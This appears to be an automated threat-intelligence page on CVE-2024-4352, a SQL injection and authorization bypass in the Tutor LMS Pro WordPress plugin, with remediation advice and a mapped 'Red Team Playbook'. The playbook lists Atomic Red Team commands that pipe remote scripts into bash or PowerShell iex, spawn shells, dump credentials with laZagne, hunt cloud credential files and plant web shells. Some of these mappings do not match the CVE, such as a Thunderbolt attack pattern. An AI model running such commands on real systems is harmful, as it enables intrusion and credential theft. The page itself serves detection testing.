CVE-2024-4352
Overview
This vulnerability is a combination of an authorization bypass and SQL Injection affecting the Tutor LMS Pro WordPress plugin. The root cause is a missing capability check in the 'get_calendar_materials' function, allowing unauthorized access to sensitive operations. Additionally, the 'year' parameter in this function is vulnerable due to insufficient input escaping and lack of proper SQL query preparation, enabling injection of malicious SQL code.
Vulnerability Description
The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An attacker with subscriber-level access or higher can exploit this vulnerability to execute arbitrary SQL queries on the backend database, potentially extracting sensitive information or modifying data. Since the flaw requires authentication (PR:L) but no user interaction (UI:N) and network access (AV:N), it enables lateral movement within the application. The attacker can compromise data confidentiality, integrity, and availability, impacting business operations and user privacy as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
Users should update the Tutor LMS Pro plugin to the latest version as provided by Themeum, which addresses the missing capability check and SQL injection vulnerability. Detailed patch instructions and version information are available in the Themeum advisory at https://www.themeum.com/product/tutor-lms/ and the Wordfence threat intelligence report at https://www.wordfence.com/threat-intel/vulnerabilities/id/c647beda-cf73-4372-975f-a8c8ed05217f?source=cve. Applying these updates will remediate the vulnerability by enforcing proper authorization and secure SQL query handling.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Tutor LMS Pro plugin for WordPress exhibits critical vulnerabilities that can lead to unauthorized data access and SQL injection attacks. The primary issue stems from a missing capability check in the 'get_calendar_materials' function, which allows users with subscriber-level permissions or higher to access sensitive data without proper authorization. Additionally, the vulnerability is exacerbated by insufficient input sanitization on the 'year' parameter, enabling attackers to inject malicious SQL queries into existing database queries. This lack of proper validation and preparation of user-supplied data creates a significant risk for exploitation, potentially compromising the integrity and confidentiality of the database.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who has gained access to a WordPress site with the Tutor LMS Pro plugin installed, can manipulate the 'year' parameter when making requests to the affected function. By appending additional SQL commands, the attacker can extract sensitive information such as user credentials, personal data, or even administrative access tokens. This exploitation can be executed with minimal technical skill, making it accessible to a broader range of malicious actors. Furthermore, the potential for data modification or loss increases the severity of this vulnerability, as attackers may not only read sensitive data but also alter or delete critical information within the database.
The real-world impact of this vulnerability is significant, particularly for educational institutions and organizations relying on the Tutor LMS Pro plugin for managing learning content and user data. A successful attack could lead to unauthorized access to student records, financial information, or proprietary content, resulting in severe reputational damage, legal repercussions, and financial losses. The business risk extends beyond immediate data breaches; organizations may face compliance issues with data protection regulations, such as GDPR or FERPA, if sensitive data is mishandled or exposed. The potential for data loss or corruption could disrupt educational services, leading to further operational challenges and loss of trust among users.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify weaknesses in the Tutor LMS Pro plugin and other components of the WordPress environment. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, it is crucial to ensure that all plugins and themes are kept up-to-date with the latest security patches. Organizations should also consider implementing strict access controls, ensuring that only authorized users have the necessary permissions to interact with sensitive functions within the plugin.
In conclusion, the vulnerabilities present in the Tutor LMS Pro plugin pose a serious threat to the security of WordPress-based educational platforms. The combination of unauthorized data access and SQL injection capabilities creates a pathway for attackers to exploit the system, leading to potentially devastating consequences for organizations and their users. By adopting proactive detection and mitigation strategies, organizations can safeguard their data and maintain the integrity of their educational services.
CSURFACE threat intelligence has identified a notable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-4352, rising by over 20% to a current level that places it near the top percentile of predicted exploit likelihood. This upward trend, while not classified as rapid, signals growing interest or potential preparatory activity among threat actors targeting the Tutor LMS Pro plugin’s vulnerabilities. Although no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the elevated EPSS suggests that exploitation attempts may become more frequent or sophisticated in the near term. For defenders, this shift underscores the importance of heightened vigilance around this vulnerability, as the combination of unauthorized data access and SQL injection remains a potent attack vector. Consequently, the overall threat level should be considered elevated, reflecting increased probability of exploitation attempts that could compromise WordPress educational platforms relying on this plugin.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Themeum | Tutor Lms | All |
cpe:2.3:a:themeum:tutor_lms:*:*:*:*:pro:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4352 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c647beda-cf73-4372-975f-a8c8ed05217f?source=cve |
| themeum.com |
GitHub CVE
|
https://www.themeum.com/product/tutor-lms/ |